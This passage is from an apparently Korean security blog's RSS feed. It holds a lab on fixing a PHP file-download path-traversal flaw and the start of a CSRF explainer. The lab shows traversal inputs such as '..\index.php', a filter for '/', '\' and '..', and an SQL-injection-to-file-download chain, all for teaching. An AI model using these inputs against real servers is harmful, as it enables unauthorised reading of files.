this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;965&quot; height=&quot;425&quot; data-origin-width=&quot;965&quot; data-origin-height=&quot;425&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예전에는 많이 있었으나, 최근에는 거의 없음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 시스템 전체 경로가 사용자에게 노출되어 보안상 취약한 설계&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;일부 경로 + 파일명&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1424&quot; data-origin-height=&quot;703&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/440Yk/btsMcSaFp7z/WAgWwlHZJ0UzJQU8ksLfI0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/440Yk/btsMcSaFp7z/WAgWwlHZJ0UzJQU8ksLfI0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/440Yk/btsMcSaFp7z/WAgWwlHZJ0UzJQU8ksLfI0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F440Yk%2FbtsMcSaFp7z%2FWAgWwlHZJ0UzJQU8ksLfI0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1424&quot; height=&quot;703&quot; data-origin-width=&quot;1424&quot; data-origin-height=&quot;703&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오늘날 웹에서 가장 많이 사용하는 파일 다운로드 기능의 설계 방식&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 경로와 파일명 2개의 파라미터에 대해서 올바른 검증 절차가 구현되어야 함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;검증 방법&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 2개의 파라미터에 경로 이동 문자 ../ , ..\ 등 이 존재하는 경우 에러 메시지 출력 및 로직 종료&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;\ 역슬러시를 / 슬러시 문자로 치환하는 이유&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 윈도우는 \ 역슬래시도 사용하기 때문에, 검증할때 굳이 \ 를 추가로 넣지않고 / 로 통일하기 위해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;파일명&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1181&quot; data-origin-height=&quot;618&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ltzXt/btsMexiI9Ib/oNkycSh5Trq3Zxq1RYOGk1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ltzXt/btsMexiI9Ib/oNkycSh5Trq3Zxq1RYOGk1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ltzXt/btsMexiI9Ib/oNkycSh5Trq3Zxq1RYOGk1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FltzXt%2FbtsMexiI9Ib%2FoNkycSh5Trq3Zxq1RYOGk1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1181&quot; height=&quot;618&quot; data-origin-width=&quot;1181&quot; data-origin-height=&quot;618&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일명 파라미터에 대해서만 / 와 .. 문자에 대해서만 검증한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;윈도우 서버인 경우에는 \ 역슬래시를 / 슬래시로 치환 후 / 슬래시로만 통일하여 검증&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;키(Key) 값&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;998&quot; data-origin-height=&quot;507&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/6tHEy/btsMelixDV1/10ykLPxlMhksj5TZhbxhmk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/6tHEy/btsMelixDV1/10ykLPxlMhksj5TZhbxhmk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6tHEy/btsMelixDV1/10ykLPxlMhksj5TZhbxhmk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F6tHEy%2FbtsMelixDV1%2F10ykLPxlMhksj5TZhbxhmk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;998&quot; height=&quot;507&quot; data-origin-width=&quot;998&quot; data-origin-height=&quot;507&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;키(Key) 값을 받는다고 해서 무조건 안전한건 아니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PrepareStatement 가 아닌 Statement 인 경우에는 SQL Injection 에 취약하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SQL Injection 을 통해서 파일 다운로드 취약점으로 연계시킬 수 있는 공격이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;실습7-4 취약 환경 시큐어 코딩 적용 실습&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일 다운로드 취약점에 대한 시큐어 코딩을 적용하기 위해 download.php 파일을 연다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위치: C:\APM_Setup\htdocs\insecure_website&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;strpos 함수&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 지정된 변수에 지정된 문자가 있는지 위치값을 반환해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- &lt;span style=&quot;background-color: #ffffff; color: #474747; text-align: left;&quot;&gt;대상 문자열을 앞에서 부터 검색하여 찾고자 하는 문자열이 몇번째 위치에 있는지를 리턴하는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;함수&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 문자가 없으면 False 가 출력됨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; download.php 에 시큐어 코딩 적용 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1739179108376&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
    include_once(&quot;./common.php&quot;);
    header(&quot;Content-Type: text/html; charset=UTF-8&quot;);

    $file = $_GET[&quot;file&quot;];
    
    if(empty($file)) {
        echo &quot;&amp;lt;script&amp;gt;alert('값이 입력되지 않았습니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
        exit();
    }

    $file = str_replace(&quot;\\&quot;, &quot;/&quot;, $file);

    if(strpos($file, &quot;/&quot;) !== false || strpos($file, &quot;..&quot;) !== false ) {
        echo &quot;&amp;lt;script&amp;gt;alert('허용되지 않은 문자가 입력되었습니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
        exit();
    }

    if(empty($file)) {
        echo &quot;&amp;lt;script&amp;gt;alert('파일 다운로드에 실패하였습니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
        exit();
    }

    $filepath = &quot;{$upload_path}/{$file}&quot;;

    header(&quot;Content-Type: application/octet-stream&quot;);
    header(&quot;Content-Disposition: attachment; filename={$file}&quot;);

    @readfile($filepath);
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;\ 역슬래시는 / 슬래시로 치환하여 / 슬래시로 통일하여 검증한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서는 파일명만 노출되어 있기 때문에 / 문자열만 필터링해도 되지만, 일반적인 파일 다운로드 기능에는 일부 경로 + 파일명이 되어 있는 경우가 있으므로 .. 문자열도 같이 필터링해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위치값 반환 시 0이 출력되는 경우가 있는데 0은 첫번째 인덱스라는 의미가 있지만, php 에서는 0은 False 의 의미를 가지고 있으므로, != 가 아닌 !== 를 사용하여 0인 위치값이 반환되도 False 로 인식하지 않게 해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시큐어 코딩 적용 후 파일 다운로드 기능에 대해 다시 공격을 시도해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;..\index.php 를 입력하여 상위 디렉터리의 index.php 다운로드를 시도한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1503&quot; data-origin-height=&quot;463&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DPoNv/btsMdH0Q9qN/0Cyuo9A62NtwngkJA2jm8K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DPoNv/btsMdH0Q9qN/0Cyuo9A62NtwngkJA2jm8K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DPoNv/btsMdH0Q9qN/0Cyuo9A62NtwngkJA2jm8K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDPoNv%2FbtsMdH0Q9qN%2F0Cyuo9A62NtwngkJA2jm8K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1503&quot; height=&quot;463&quot; data-origin-width=&quot;1503&quot; data-origin-height=&quot;463&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/ , \ , .. 를 입력해본다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1529&quot; data-origin-height=&quot;484&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3aNnd/btsMcz3uWNl/UfhYY1oq2zxFjrfKpwI791/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3aNnd/btsMcz3uWNl/UfhYY1oq2zxFjrfKpwI791/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3aNnd/btsMcz3uWNl/UfhYY1oq2zxFjrfKpwI791/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3aNnd%2FbtsMcz3uWNl%2FUfhYY1oq2zxFjrfKpwI791%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1529&quot; height=&quot;484&quot; data-origin-width=&quot;1529&quot; data-origin-height=&quot;484&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1542&quot; data-origin-height=&quot;528&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Lryb6/btsMdIMlxhU/VxG0ROf4jQ8qaAgmRfajfk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Lryb6/btsMdIMlxhU/VxG0ROf4jQ8qaAgmRfajfk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Lryb6/btsMdIMlxhU/VxG0ROf4jQ8qaAgmRfajfk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLryb6%2FbtsMdIMlxhU%2FVxG0ROf4jQ8qaAgmRfajfk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1542&quot; height=&quot;528&quot; data-origin-width=&quot;1542&quot; data-origin-height=&quot;528&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1455&quot; data-origin-height=&quot;479&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GbiHB/btsMch23nwN/Q81mE1UKBuktEBHlwEAsyK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GbiHB/btsMch23nwN/Q81mE1UKBuktEBHlwEAsyK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GbiHB/btsMch23nwN/Q81mE1UKBuktEBHlwEAsyK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGbiHB%2FbtsMch23nwN%2FQ81mE1UKBuktEBHlwEAsyK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1455&quot; height=&quot;479&quot; data-origin-width=&quot;1455&quot; data-origin-height=&quot;479&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;원래 다운로드 가능한 file_test.txt 파일은 다운로드가 가능하다. (파일 다운로드 기능 정상 동작)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1523&quot; data-origin-height=&quot;468&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cC0XlA/btsMceeoeRy/cSTEfX2QKkRGchFYEru0d0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cC0XlA/btsMceeoeRy/cSTEfX2QKkRGchFYEru0d0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cC0XlA/btsMceeoeRy/cSTEfX2QKkRGchFYEru0d0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcC0XlA%2FbtsMceeoeRy%2FcSTEfX2QKkRGchFYEru0d0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1523&quot; height=&quot;468&quot; data-origin-width=&quot;1523&quot; data-origin-height=&quot;468&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 통해 파일 다운로드 기능은 정상적으로 동작하면서 파일 다운로드 취약점에 대한 시큐어 코딩이 완료된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;참고&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.inflearn.com/course/%EC%9B%B9%ED%95%B4%ED%82%B9-%EB%B3%B4%EC%95%88-%EC%8B%9C%ED%81%90%EC%96%B4%EC%BD%94%EB%94%A9&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.inflearn.com/course/%EC%9B%B9%ED%95%B4%ED%82%B9-%EB%B3%B4%EC%95%88-%EC%8B%9C%ED%81%90%EC%96%B4%EC%BD%94%EB%94%A9&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>웹 해킹/웹 해킹 및 시큐어 코딩 기초</category>
      <category>/etc/passwd</category>
      <category>시큐어 코딩</category>
      <category>웹 해킹</category>
      <category>파일 다운로드 취약점</category>
      <author>Security Engineer</author>
      <guid isPermaLink="true">https://it-log.tistory.com/211</guid>
      <comments>https://it-log.tistory.com/211#entry211comment</comments>
      <pubDate>Mon, 10 Feb 2025 22:00:45 +0900</pubDate>
    </item>
    <item>
      <title>CSRF(Cross-Site Request Forgery)</title>
      <link>https://it-log.tistory.com/210</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1) CSRF란 무엇인가?&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CSRF(Cross-Site Request Forgery)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 사이트간 요청 위조라는 의미를 가지고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 공격자는 사용자가 의도하지 않은 작업을 수행할 수 있도록 유도하는 취약점&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 사용자가 의도하지 않은 요청이 공격자에 의해 수행된다.(ex: 사용자 정보 수정, 게시글 작성/수정/삭제, 회원탈퇴 등)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 악성 스크립트를 읽음으로써 사용자도 모르게 SNS에 게시글이 작성되는 등의 행위가 발생함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1026&quot; data-origin-height=&quot;644&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d63mCC/btsL1itBB4Q/4WOUzbLx5uCyNtXE0DnOlk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d63mCC/btsL1itBB4Q/4WOUzbLx5uCyNtXE0DnOlk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d63mCC/btsL1itBB4Q/4WOUzbLx5uCyNtXE0DnOlk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd63mCC%2FbtsL1itBB4Q%2F4WOUzbLx5uCyNtXE0DnOlk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1026&quot; height=&quot;644&quot; data-origin-width=&quot;1026&quot; data-origin-height=&quot;644&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SQL Injection 같은 경우에는 공격자가 공격 구문을 넣고, 공격자가 파라미터를 변조하는 등 공격자의 직접적인 행위에 의해 공격이 발생한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CSRF는 Client-Side Script 로 작성된 악성 스크립트를 사용자에게 읽게끔하여 공격자가 의도한 사용자 정보 수정, 패스워드 변경, 회원 탈퇴 등의 행위를 &lt;b&gt;사용자가 직접 하도록 유도하는 공격&lt;/b&gt;이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2) 공격 원리 분석&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1394&quot; data-origin-height=&quot;799&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cZtUDa/btsL2BsbRIM/WwaUmxbRnk0cuHjoHWw9UK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cZtUDa/btsL2BsbRIM/WwaUmxbRnk0cuHjoHWw9UK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cZtUDa/btsL2BsbRIM/WwaUmxbRnk0cuHjoHWw9UK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcZtUDa%2FbtsL2BsbRIM%2FWwaUmxbRnk0cuHjoHWw9UK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1394&quot; height=&quot;799&quot; data-origin-width=&quot;1394&quot; data-origin-height=&quot;799&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 공격자는 악성 스크립트가 담긴 게시글을 작성한다.(ex: 읽으면 패스워드를 자동으로 변경 요청하는 스크립트)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. DB에 악성 스크립트가 저장된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 인증된 사용자가 해당 게시글을 클릭하여 읽는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. &lt;span style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot;&gt;게시글에 포함된 악성 스크립트가 DB에서 웹 페이지로 전달된다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot;&gt;5. &lt;span style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot;&gt;게시글에 담긴 악성 스크립트가 사용자의 웹 브라우저에서 발생된다. (Client-Side Script 로 작성된 악성 스크립트)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot;&gt;6. 사용자는 웹 서비스에 패스워드를 변경하는 요청을 보낸다. (사용자가 의도하지 않은 요청)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot;&gt;위 예시는 1개의 사이트에서 악성 스크립트도 읽고 요청도 발생했다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
